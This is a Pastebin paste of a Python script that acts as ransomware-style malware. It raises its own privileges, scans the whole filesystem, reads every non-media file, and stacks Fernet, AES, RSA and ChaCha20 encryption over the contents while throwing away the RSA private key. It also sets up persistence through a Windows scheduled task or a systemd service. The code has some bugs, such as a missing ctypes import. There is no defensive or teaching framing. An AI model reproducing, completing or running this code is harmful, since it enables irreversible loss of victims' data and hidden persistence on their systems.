Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- import subprocess
- import base64
- import random
- import hashlib
- from cryptography.fernet import Fernet
- from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
- from cryptography.hazmat.backends import default_backend
- import rsa
- from PIL import Image
- from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
- def install_dependencies():
- try:
- import cryptography
- import rsa
- import PIL
- except ImportError:
- # Install necessary libraries
- subprocess.call([sys.executable, '-m', 'pip', 'install', 'cryptography', 'rsa', 'Pillow'])
- def elevate_permissions():
- if os.name == 'nt':
- try:
- is_admin = os.getuid() == 0
- except AttributeError:
- is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
- if not is_admin:
- ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, ' '.join(sys.argv), None, 1)
- sys.exit(0)
- else:
- if os.geteuid() != 0:
- subprocess.call(['sudo', 'python3'] + sys.argv)
- sys.exit(0)
- def generate_random_key():
- return Fernet.generate_key()
- def fernet_encrypt(data, key):
- cipher = Fernet(key)
- return cipher.encrypt(data)
- def aes_256_cbc_encrypt(data, key):
- iv = os.urandom(16)
- cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
- encryptor = cipher.encryptor()
- padding_length = 16 - (len(data) % 16)
- data += bytes([padding_length]) * padding_length
- return iv + encryptor.update(data) + encryptor.finalize()
- def rsa_encrypt(data):
- (pubkey, privkey) = rsa.newkeys(2048)
- return rsa.encrypt(data, pubkey), privkey
- def chacha20_encrypt(data, key, nonce):
- cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend())
- encryptor = cipher.encryptor()
- return encryptor.update(data)
- def sha256_hash(data):
- return hashlib.sha256(data).hexdigest()
- def base64_encode(data):
- return base64.b64encode(data)
- def bind_file_to_image(image_path, file_data):
- image = Image.open(image_path)
- img_bytes = image.tobytes()
- combined_data = img_bytes + file_data
- return combined_data
- def scan_drives_for_files():
- media_files = []
- non_media_files = []
- for root, _, files in os.walk('C:\\' if os.name == 'nt' else '/'):
- for file in files:
- if file.lower().endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.mp4', '.avi', '.mkv', '.mp3', '.wav')):
- media_files.append(os.path.join(root, file))
- else:
- non_media_files.append(os.path.join(root, file))
- return media_files, non_media_files
- def divide_files_among_images(media_files, non_media_files):
- num_media_files = len(media_files)
- if num_media_files == 0:
- return []
- chunk_size = len(non_media_files) // num_media_files
- remainder = len(non_media_files) % num_media_files
- chunks = []
- start = 0
- for i in range(num_media_files):
- end = start + chunk_size + (1 if i < remainder else 0)
- chunks.append((media_files[i], non_media_files[start:end]))
- start = end
- return chunks
- def bind_and_encrypt_files():
- media_files, non_media_files = scan_drives_for_files()
- chunks = divide_files_among_images(media_files, non_media_files)
- os.makedirs('encrypted_images', exist_ok=True)
- for media_file, file_chunk in chunks:
- combined_data = b""
- for file_path in file_chunk:
- with open(file_path, 'rb') as f:
- file_data = f.read()
- combined_data += file_data
- combined_data = bind_file_to_image(media_file, combined_data)
- random_key = generate_random_key()
- encrypted_data = fernet_encrypt(combined_data, random_key)
- aes_key = os.urandom(32)
- encrypted_aes_data = aes_256_cbc_encrypt(encrypted_data, aes_key)
- encrypted_rsa_data, priv_key = rsa_encrypt(aes_key)
- chacha_key = os.urandom(32)
- nonce = os.urandom(16)
- encrypted_chacha20_data = chacha20_encrypt(encrypted_aes_data, chacha_key, nonce)
- sha256_checksum = sha256_hash(encrypted_chacha20_data)
- final_data = base64_encode(encrypted_chacha20_data)
- output_file = os.path.join('encrypted_images', f'encrypted_{os.path.basename(media_file)}')
- with open(output_file, 'wb') as out_file:
- out_file.write(final_data)
- def install_tool():
- script_path = os.path.realpath(sys.argv[0])
- if os.name == 'nt':
- subprocess.call([
- 'schtasks', '/create', '/tn', 'AutoEncryptTool', '/tr', f'"{sys.executable} {script_path}"',
- '/sc', 'onlogon', '/rl', 'highest', '/f'
- ])
- else:
- service_content = f"""
- [Unit]
- Description=Auto Execute File Binder and Encryptor
- After=network.target
- [Service]
- ExecStart=/usr/bin/python3 {script_path}
- Restart=on-failure
- [Install]
- WantedBy=multi-user.target
- """
- service_path = '/etc/systemd/system/auto_encrypt.service'
- with open(service_path, 'w') as service_file:
- service_file.write(service_content)
- subprocess.call(['systemctl', 'daemon-reload'])
- subprocess.call(['systemctl', 'enable', 'auto_encrypt.service'])
- subprocess.call(['systemctl', 'start', 'auto_encrypt.service'])
- if __name__ == '__main__':
- install_dependencies()
- elevate_permissions()
- bind_and_encrypt_files()
- install_tool()
Add Comment
Please, Sign In to add comment